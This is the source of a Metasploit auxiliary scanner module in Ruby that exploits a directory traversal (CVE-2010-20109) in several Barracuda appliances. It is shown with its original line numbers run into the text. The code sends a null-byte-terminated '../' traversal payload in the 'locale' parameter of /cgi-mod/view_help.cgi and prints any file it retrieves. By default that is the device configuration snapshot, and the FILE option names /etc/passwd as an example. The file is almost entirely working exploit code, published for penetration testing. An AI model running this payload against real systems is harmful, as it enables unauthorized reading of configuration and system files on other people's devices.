Path: blob/master/modules/auxiliary/scanner/http/barracuda_directory_traversal.rb
23913 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize11super(12'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',13'Description' => %q{14This module exploits a directory traversal vulnerability present in15several Barracuda products, including the Barracuda Spam and Virus Firewall,16Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,17this module will attempt to download the Barracuda configuration file.18},19'References' => [20['CVE', '2010-20109'],21['OSVDB', '68301'],22['URL', 'https://web.archive.org/web/20101004131244/http://secunia.com/advisories/41609/'],23['EDB', '15130']24],25'Author' => [26'Tiago Ferreira <tiago.ccna[at]gmail.com>'27],28'DisclosureDate' => 'Oct 08 2010',29'License' => MSF_LICENSE30)3132register_options(33[34Opt::RPORT(8000),35OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),36OptString.new('TARGETURI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),37]38)39end4041def run_host(ip)42uri = normalize_uri(target_uri.path)43file = datastore['FILE']44payload = "?locale=/../../../../../../..#{file}%00"4546print_status("#{full_uri} - Barracuda - Checking if remote server is vulnerable")4748res = send_request_raw(49{50'method' => 'GET',51'uri' => uri + payload,52}, 2553)5455if res.nil?56print_error("#{full_uri} - Connection timed out")57return58end5960if (res.code == 200 and res.body)61if res.body.match(/\<html\>(.*)\<\/html\>/im)62html = $16364if res.body =~ /barracuda\.css/65if html.length > 10066file_data = html.gsub(%r{</?[^>]+?>}, '')6768print_good("#{full_uri} - Barracuda - Vulnerable")69print_good("#{full_uri} - Barracuda - File Output:\n" + file_data + "\n")70else71print_error("#{full_uri} - Barracuda - Not vulnerable: HTML too short?")72end73elsif res.body =~ /help_page/74print_error("#{full_uri} - Barracuda - Not vulnerable: Patched?")75else76print_error("#{full_uri} - Barracuda - File not found or permission denied")77end78else79print_error("#{full_uri} - Barracuda - No HTML was returned")80end81else82print_error("#{full_uri} - Barracuda - Unrecognized #{res.code} response")83end84rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout85rescue ::Timeout::Error, ::Errno::EPIPE86end87end888990